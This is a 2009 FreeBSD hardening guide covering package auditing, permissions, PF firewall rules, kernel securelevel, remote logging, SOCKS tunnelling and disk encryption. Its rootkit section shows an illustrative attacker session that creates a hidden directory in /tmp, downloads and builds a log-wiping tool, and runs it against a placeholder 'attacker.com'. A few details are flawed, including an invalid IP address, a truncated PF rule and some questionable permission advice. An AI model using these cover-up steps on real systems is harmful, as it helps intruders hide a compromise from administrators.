Hardening FreeBSD:

An Approach to a Secure System

Remy Baumgarten University of Hawaii [email protected] October 4th, 2009 Hardening FreeBSD

知己知彼 百戰不殆 If you know both yourself and your enemy, you can win a hundred battles without a single loss. Sun Tzu's The Art of War

“ are not broken into; the programs running on the operating system are.” -Micheal W. Lucas General Summary:

Hardware and Software Specifications

Foreword and Forewarn

Who are our Adversaries?

Updating and Package Auditing

Mailing Lists

Permissions

Networking and Firewalls

Kernel Security

Remote Logging

Command Logging

Secure Remote Access with SOCKS Proxy Forwarding

Web Browsing

Encryption

Auditing

Further Reading Hardware Specifications:

Intel Core i7 920 Nehalem 2.66GHz 4 x 256KB L2 Cache 8MB L3 Cache LGA 1366 130W Quad-Core Processor

ASUS P6T6 WS Revolution LGA 1366 Intel X58 ATX Intel Motherboard

CORSAIR XMS3 6GB (3 x 2GB) 240-Pin DDR3 SDRAM DDR3 1333 (PC3 10666) Triple Channel

CORSAIR CMPSU-850TX 850W ATX12V 2.2 / EPS12V 2.91 SLI Ready CrossFire Ready Active PFC Power Supply

2x - EVGA 896-P3-1260-TR GeForce GTX 260 896MB 448-bit GDDR3 PCI Express 2.0 x16 HDCP Ready SLI Supported Video Card

LG W2452T-TF Black 24" 2ms(GTG) Widescreen LCD Monitor 400 cd/m2 10000:1 DCR with HDCP support

LG Black 22X (CAV) DVD+R 8X DVD+RW 16X DVD+R DL 22X (CAV) DVD-R 6X DVD-RW 12X DVD-RAM 16X DVD-ROM 48X CD-R 32X CD-RW 48X CD-ROM 2MB Cache SATA 22X DVD±R DVD Burner

Antec Nine Hundred Black Steel ATX Mid Tower Computer Case

Software Specifications:

FreeBSD 7.3 AMD64 Minimal

Customized Compiled Kernel

Installed Packages of Relevance: tripwire-2.4.1.2 lynis-1.2.6 snort-2.8.4.1_1 john-1.7.2_1 scponly-4.8 munin-main-1.2.6 postfix-2.6.5,1 mysql-server-5.0.86 portupgrade-2.4.6_3,2 portaudit-0.5.13 netcat-1.10_2 nmap-5.00 oinkmaster-2.0_1 Foreword and Forewarn:

Security tips are mostly useless unless one understands why and how that tip works with other practices to protect your system from attacks. While securing your operating system may make it a little bit harder in some aspects for the attacker, a process listening on the network with root privileges with just one small bug could for example make a lot of the following I am going to talk about largely irrelevant. Security must to be covered as a whole, starting with the person or persons managing the system to the most intricate technical detail about the way the kernel manages the addresses of memory in the stack and the various mechanisms that make it work and everything in between. This paper is not about how to install or use FreeBSD. I assume you are mildly familiar with this operating system and are attempting to secure it against attacks. This is a brief overview meant to be starting guide to point you in the right direction and give you an idea of what security features FreeBSD has to offer. It is by no means a comprehensive or advanced guide. It would take many books worth of information to cover each of topics covered here and there simply isn’t enough room or time for anyone to cover all of these in depth.

Who are our Adversaries?

Skiddies (script kiddies) Botnets Internal Users Skilled Attackers

Updating and Package Auditing:

The most effective defense against attacks is simply keeping your system up to date. FreeBSD offers many tools for this. I prefer to use portsnap and portupgrade. If you are not able to login to your system daily, you should place these commands to be executed by cron and use the ports random delay flag as to not overload the FreeBSD servers. Portaudit is another great tool that checks your installed packages against known vulnerabilities. Simply install portaudit from ports and follow the instructions. Here is a sample run. Note that it performs the following execution daily and when you update your ports. sudo portaudit -Fda Password: auditfile.tbz 100% of 57 kB 66 kBps New database installed. Database created: Mon Oct 5 03:05:02 UTC 2009 0 problem(s) in your installed packages found.

If a problem is found it will advise you to upgrade your package and include a link for more information. FreeBSD also sends out daily security mail if your mail server is correctly setup and you add your alias to your mailers configuration. This feeds the output of portaudit into your mail daily. It is also very important to read or grep the UPDATING file located in /usr/ports for information or warnings about packages that you are about to upgrade. If you don’t do this and install a new version of PERL for example, you may start to wonder why your system is not acting correctly. Do yourself a favor and look at the latest changes before upgrading.

Subscribe to FreeBSD Security Mailing List

I can’t emphasize this enough. Reading the listings daily on your commute will assist in understanding what attacks may be headed on the way. For example, if there is a 0day discovery and it affects a package you’re using, it may be wise to suspend its service until there is a patch or workaround. Also subscribe to BugTraq and CERT mailing lists. These have a higher volume then FreeBSD, but well worth the time.

Permissions

FreeBSD users are created with their group the same as their user, so it is ok if you want to chmod your /home/$user directory to 660. This makes sense on a system which is shared with other users or when you have daemons listening on ports as privileged users. For example, if you have a webserver and its running as the www user and an attacker performs RFI (remote file inclusion) against a vulnerable php script that spawns a perl connect back shell to their remote host to bypass your firewall, the shell will be running as user www. User www may have access, depending on how apache was configured, to write to /tmp, so arbitrary files may be downloaded there and executed. It’s best to prevent the attacker from looking in your /home/$user directory and chmod 660 will prevent this from happening if they are not able to perform a local privilege escalation attack.

It is also a good idea to not allow other users to see what is in your crontabs. Issue the following commands to make them unreadable to other users: chmod 0640 /etc/crontab

While your at it, also chmod /root to 750 chmod 0750 /root

Recognize that if an attacker exploits one of your programs and escalates to root, all the strict permissions in the world won’t be able to help you.

Networking and Firewalls

Attacks typically start here. It’s best practice to disable any listening sockets that you do not use. Sockstat is a great tool for this. Use sockstat -4 to see what sockets are listening on ipv4 and ipv6. Disable any processes that you are not using. Don’t ignore ipv6. Using ipv6 is a great way for attackers to exfiltrate data without the user recognizing whats going on, and many firewall rule sets don’t take this into consideration.

FreeBSD comes with an excellent way to control your network traffic, its called Packet Filtering or PF for short. It works at the kernel level and does a comparison of all traffic against your PF ruleset.

$cat /etc/mypf.conf ext_if = "re0" services = "{5734}" # services on ports set skip on lo0 scrub in all antispoof for $ext_if block drop all pass out all keep state pass proto tcp from any to $ext_if port $services flags S/SA synproxy state

This is an example of a packet filter ruleset. It has been minimized for the convenience of the reader. Note that pinging your server will result in no response. To learn more about creating a good PF ruleset, you should read the various online tutorials on PF or get your hands on a copy of The Book of PF (No Starch Press).

For computers where you will be using openssh server (sshd), you should change the port it listens on to a non-standard port to mitigate bots that will fill your logs up with brute force attempts. If you want to leave openssh on its standard port of 22 you can use PF to block repeated attempts. I recommend doing this even if you listen on a different port for obvious reasons. Append the following to your rc.conf: pf_enable="YES" pf_rules="/etc/mypf.conf" pf_flags="" pflog_enable="YES" pflog_logfile="/var/log/pflog" pflog_flags=""

Then add this to your /etc/mypf.conf: table persist file "/var/db/blacklist" block quick from

This states that:

There exists a table called bruteforce, which should be loaded from /var/db/blacklist. Everything in table bruteforce is immediately blocked. Everything incoming to SSH is allowed (if not already blocked from the bruteforce table).

Now lets create (as root) our blacklist file that contains the IP’s of repeat offenders. touch /var/db/blacklist chmod 644 /var/db/blacklist

Download the script located at http://home.earthlink.net/~valiantsoul/pf.html

There are other options instead of using PF for this, but I provided the above as a demonstration of how you can script with PF. Personally I recommend using SSHGuard, it does all the above for you. Simply use ports to install: cd /usr/ports/security/sshguard && make install clean

It’s a good idea to enable some configuration options if you decide not to use PF. FreeBSD has something called a ‘Black Hole.’ You can do two things with this functionality. You can either:

1) Log all connection attempt made to ports not listening 2) Absorb the packet into its ‘Black Hole’ so things like traceroute will not work anymore.

To enable this option simply append the following to your system configuration file /etc/ sysctl.conf net.inet.tcp.blackhole=1 net.inet.udp.blackhole=1

Securing your Kernel and Userland from Rootkits and Spies

FreeBSD has an important feature that you should be aware of. If your system is rooted an attacker can recompile a customized version of your kernel. Kernel mode rootkits are used in order to make the attackers processes and files invisible from your monitoring tools and logs (top, ps, netstat, w, lastlog, wtmp, etc). While this is specific to a very targeted attack, it’s more common for the attacker to use a userland rootkit. This just means they replace specific binaries with modified binaries. For example, an attack would do something like this after they gained root.

# whoami root # mkdir '/tmp/.. ' && cd '/tmp/.. ' && wget http://packetstormsecurity.org/ UNIX/secure_delete/dwipe-0.1.tar.gz --2009-10-05 04:23:02-- http://packetstormsecurity.org/UNIX/secure_delete/ dwipe-0.1.tar.gz Resolving packetstormsecurity.org... 66.227.17.19 Connecting to packetstormsecurity.org|66.227.17.19|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 14939 (15K) [application/x-gzip] Saving to: `dwipe-0.1.tar.gz'

100%[======>] 14,939 60.7K/s in 0.2s

2009-10-05 04:23:03 (60.7 KB/s) - `dwipe-0.1.tar.gz' saved [14939/14939] # tar xzfv * x dwipe-0.1/ x dwipe-0.1/Makefile x dwipe-0.1/dwipe.c x dwipe-0.1/README x dwipe-0.1/enc_strings.h x dwipe-0.1/mkenc_strings.c x dwipe-0.1/COPYING # make # dwipe -u root -s attacker.com -i 128.23.341.2 Logs Cleaned (continue the same way with other binary replacements and clear history)

The attacker then downloads his openssh backdoor with a magic key to log in as any user and replaces key binaries with bash or perl scripts that called the binary that was moved with a grep command that removes the specific IP address or processes from the output. Some attackers spend more time and compile their own versions of these binaries and use the touch command to modify the date that the file was last modified to that of an older binary.

Now to protect against these types of attacks you have the ability to make it a little bit harder for the attacker, but once they have root, consider it game over and you must reinstall. Two tools will help in making this a little bit harder or easier to catch. For kernel mode rootkits you can set the system to a security mode > 0.

Add the following to your system configuration file: nano /etc/rc.conf kern_securelevel_enable="YES" kern_securelevel="1"

This gives some assurance in preventing the replacement the kernel while not in single user mode. It also prevents the insmod command from being used to load kernel modules into memory. It also prevents some rootkit techniques that use /dev/mem or /dev/kmem by not letting arbitrary programs write to that memory. It also disables anything from accessing /dev/io and does not allow anyone or any program to change the flags on system files.

There are two other levels, level 2 and level 3. These are for specialized operations and not typically something you want to have on your home PC. If you are interested in those please see the FreeBSD handbook for more information.

Tripwire may provide some benefits at monitoring a sloppy usermode rootkit installation. Tripwire is used to monitor any changes to files on your system and keep reports of these changes in an encrypted file. There comes a tradeoff here however. On a busy system, files are being created, modified and removed constantly, so it would make sense to only monitor files that are critical to the system, like files in /etc/, /bin, /sbin or /usr/local/etc for example. By doing this you may be ignoring the attackers home somewhere in /var/log/... or hidden in some remote place where your shared libraries are located. Once a user has root it is very easy to modify this program as well. In order to hide processes from programs that other users run like top and ps, edit your /etc/ sysctl.conf file and append the following line: kern.ps_showallprocs=0

To catch skiddies who left their tools around your disk install chrootkit from ports. This is about as effective as virus scanners (not very effective). However, it still should be used. Here are some things it checks for:

• : shell script that checks system binaries for rootkit modification. • ifpromisc.c: checks if the interface is in promiscuous mode. • chklastlog.c: checks for lastlog deletions. • chkwtmp.c: checks for wtmp deletions. • check_wtmpx.c: checks for wtmpx deletions. (Solaris only) • chkproc.c: checks for signs of LKM trojans. • chkdirs.c: checks for signs of LKM trojans. • strings.c: quick and dirty strings replacement. • chkutmp.c: checks for utmp deletions.

Remote Logging

Remote logging is an excellent feature of syslogd because it will send logs to a remote system before the attacker disables logging. Once the attacker realizes that remote logging is enabled, a few things may happen. First the attacker may simply ignore it. This depends on the reason for attacking. If the attacker decides to stay for a while, then he will most likely disable the logging mechanism or replace it with a new one. If the attacker is skilled, he will attack the remote logging server in an attempt to clear the attacks from the logs. If you are a keen sysadmin you’ll notice that your machine was compromised and follow up to remove the machine from the network until you have time to do forensics on it, or better yet, monitor what the attacker is doing through the wire as you may learn a lot about how you were compromised and who the attacker is.

To enable remote logging edit /etc/syslog.conf and add the IP or host of your remote hardened log server.

Log Commands on System

FreeBSD allows you to keep track of what commands other users are issuing on your system. The lastcomm command stands for last command. To enable this, just enter: touch /var/account/acct accton /var/account/acct and append accounting_enable="YES" to /etc/rc.conf

Secure Remote Access with SOCKS Proxy Forwarding

This is an excellent idea if you ever travel and want to tunnel all your traffic through your home computer because you are weary of who could be listening on those awful wireless networks. Be safe! Write a little bash script to do this for you if you can’t remember the command and configure your browser and clients to use SOCKS to connect through your listening SOCKS proxy on your local machine.

The -D flag in ssh creates a SOCKS proxy. This creates a secure tunnel which you can pipe outgoing and incoming data through when you are on a hostile network like Defcon. To enable it on your local machine (laptop) to connect to your home FreeBSD machine, issue this command:

$ssh -D 9999 username@ip-address-of-ssh-server

Now set your browsers network configuration to connect to your local (laptop) SOCKS proxy listening on port 9999. Now all traffic will go into your tunnel, through your computer at home and leave you with a nice good feeling that your not leaking data all over the place during your travels.

Web Browsing

The most dangerous thing you can do is browse the web. Web browsers are typically a huge mess of code massed over the years by many different people. It’s quite amazing they even work. There are no doubt numerous 0days for all browsers, so if your going to browse the web with anything other then lynx with uid: nobody, then do yourself a favor and either run the browser in a virtual machine like Suns VirtualBox or create a FreeBSD Jail for your browser.

If you haven’t heard of a FreeBSD jail, it’s a pretty good method (although not foolproof as there are methods of escaping from jails) to isolate your system as a partition for certain processes that you can’t really say you trust. Think of a jail as sort of a sandbox, if you will. You can run risky processes (anything that connects to a network) in its own jail. Once isolated, the attacker (or ) will not be able to spread throughout the system. In theory, he will be locked inside the jail. To create a jail read the tutorial on http://erdgeist.org/arts/software/ezjail/ for more information on how to set this up, you’ll be glad you did.

Encryption

FreeBSD offers two great choices to encrypt your hard disk. This is not like Microsoft’s BitLocker that only encrypts certain files and leaves the rest up for grabs or Apple’s Filevault which only protects your home folder. These are largely useless and should be avoided. Always encrypt your full hard disk. There is no reason not to. Anyone who has physical access to your machine is able to mount it and alter its contents, permissions are meaningless at that point. This is only useful for a home PC or when you travel a lot. It will not protect you when the machine is running. Consider any PC where the attacker has physical access to it, already compromised.

Now, back to our two options. FreeBSD offers GELI and GBDE to its arsenal of security features. I will only focus slightly on GELI as its quite a superior solution to GBDE. Here are some features of GELI:

• Utilizes the crypto(9) framework -- when cryptographic hardware is available, geli will use it automatically.

• Supports multiple cryptographic algorithms (currently AES, Blowfish, and 3DES).

• Allows the root partition to be encrypted. The passphrase used to access the encrypted root partition will be requested during the system boot.

• Allows the use of two independent keys (e.g. a “key” and a “company key”).

• geli is fast - performs simple sector-to-sector encryption.

• Allows backup and restore of Master Keys. When a user has to destroy his keys, it will be possible to get access to the data again by restoring keys from the backup.

• Allows to attach a disk with a random, one-time key -- useful for swap partitions and temporary file system

For a full tutorial on how to set this up goto: http://www.freebsd.org/doc/en/books/handbook/disks-encrypting.html

FreeBSD uses salted MD5’s for storing passwords in the /etc/shadow file. This is alright if your password is long enough and hard to guess, but a dedicated attacker should not have to wait too long to crack it if they get their hands on it. Let’s change the salted MD5 to blowfish which offers greater protection.

# echo “crypt_default=blf” >> /etc/auth.conf

Add or edit the following lines in /etc/login.conf

:passwd_format=blf:\ #blowfish :minpasswordlen=8:\ #min password must be 8 chars :mixpasswordcase=true:\ #mix cases :passwordtime=90d:\ #expires in 90 days :idletime=30:\ #logs off after 30 minutes :umask=027: #inverse of chmod, all files created are now 0750

Now run this command to save changes to the password database: cap_mkdb /etc/login.conf

Let’s check to see if blowfish is now used. Type: cat /etc/master.passwd | grep root

If your hash starts with $2, then you are now using blowfish.

Auditing

Lynis is a great tool to get an overall idea of how your system stands up to secure practices. You should definitely install this to catch any problems or potential issues within your system. Install Lynis from ports and run Lynis as root with the -c argument. It will check your system and suggest improvements. This program is used for auditing systems that need to be compliant with various standards, like HIPAA and SOX.

Example From Lynis Website Where to Find More Information and References

The FreeBSD Handbook http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/index.html

Hardening Guides http://www.bsdguides.org/guides/freebsd/security/harden.php

FreeBSD Hardening Project http://www.watson.org/fbsd-hardening/

FreeBSD Security LMGTFY http://lmgtfy.com/?q=FreeBSD+security

EZ Jail http://erdgeist.org/arts/software/ezjail/

Chrootkit http://www.chkrootkit.org/

PF Script http://home.earthlink.net/~valiantsoul/pf.html